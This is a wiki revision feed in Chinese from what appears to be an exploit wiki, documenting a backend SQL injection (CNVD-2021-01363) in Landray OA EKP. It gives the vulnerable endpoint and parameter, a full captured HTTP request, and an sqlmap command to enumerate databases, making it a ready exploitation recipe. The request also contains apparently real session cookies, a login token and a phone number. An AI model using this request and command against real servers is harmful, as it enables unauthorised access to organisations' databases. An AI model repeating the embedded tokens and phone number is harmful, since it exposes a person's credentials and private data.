https://pwnwiki.com/index.php?action=history&feed=atom&title=CNVD-2021-01363_%E8%97%8D%E5%87%8COA_EKP_%E5%BE%8C%E5%8F%B0SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fzh-cn
CNVD-2021-01363 藍凌OA EKP 後台SQL注入漏洞/zh-cn - Revision history
2026-04-04T13:47:41Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CNVD-2021-01363_%E8%97%8D%E5%87%8COA_EKP_%E5%BE%8C%E5%8F%B0SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/zh-cn&diff=4131&oldid=prev
Xl199928: Created page with "==漏洞利用=="
2021-06-06T09:05:05Z
<p>Created page with "==漏洞利用=="</p>
<p><b>New page</b></p><div><languages /><br />
==漏洞影响==<br />
<br />
2021-3-24 前版本<br />
<br />
==漏洞利用==<br />
<br />
存在SQL注入的 Url为:<br />
<pre><br />
https://xxx.xxx.xxx.xxx/km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=1&ordertype=down&s_ajax=true<br />
</pre><br />
<br />
其中存在SQL注入的参数为 ordeby ， 数据包如下:<br />
<br />
<pre><br />
GET /km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=1&ordertype=down&s_ajax=true HTTP/1.1<br />
Host: xxx.xxx.xxx.xxx<br />
Connection: keep-alive<br />
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"<br />
sec-ch-ua-mobile: ?0<br />
Upgrade-Insecure-Requests: 1<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />
Sec-Fetch-Site: cross-site<br />
Sec-Fetch-Mode: navigate<br />
Sec-Fetch-Dest: document<br />
Accept-Encoding: gzip, deflate, br<br />
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6<br />
Cookie: UM_distinctid=1785f7392888e1-02ece8c7e9a996-5771031-1fa400-1785f73928943d; landray_danyuan=null; landray_guanjianci=null; landray_sorce=baidupinzhuanwy; landray_jihua=null; Hm_lvt_223eecc93377a093d4111a2d7ea28f51=1616509114,1616566341,1616566350; Hm_lpvt_223eecc93377a093d4111a2d7ea28f51=1616566350; Hm_lvt_d14cb406f01f8101884d7cf81981d8bb=1616509114,1616566341,1616566350; j_lang=zh-CN; Hm_lvt_95cec2a2f107db33ad817ed8e4a3073b=1616510026,1616566523; Hm_lvt_95f4f43e7aa1fe68a51c44ae4eed925d=1616509969,1616509973,1616566507,1616568455; Hm_lpvt_95f4f43e7aa1fe68a51c44ae4eed925d=1616568455; Hm_lpvt_d14cb406f01f8101884d7cf81981d8bb=1616568455; Hm_lvt_22f1fea4412727d23e6a998a4b46f2ab=1616509969,1616509973,1616566507,1616568455; Hm_lpvt_22f1fea4412727d23e6a998a4b46f2ab=1616568455; fd_name=%E5%95%8A%E7%9A%84%E5%93%88; fd_id=1785f817dd0f5a4beaa482646cb9a2d8; nc_phone=15572002383; add_customer=0; JSESSIONID=F4A2DFFF611470A0AA00C1B4CEB0800B; LtpaToken=AAECAzYwNUI0NTRBNjA1QkVFMEFsaXd3MjYdcI6ajDXZSNpXOsKhMSNAGaQ=; original_name=16b53df64e78c7c0ab2d4e54165a6415; roletype=%E6%A8%A1%E5%9D%97%E7%AE%A1%E7%90%86%E5%91%98; Hm_lpvt_95cec2a2f107db33ad817ed8e4a3073b=1616594251<br />
</pre><br />
<br />
<br />
<br />
保存为文件，使用 Sqlmap 注入:<br />
<br />
<pre><br />
sqlmap -r sql.txt -p orderby --dbs<br />
</pre><br />
<br />
<br />
==参考==<br />
https://mp.weixin.qq.com/s/jnmB8h9UCztt-FL3aKmn0g</div>
Xl199928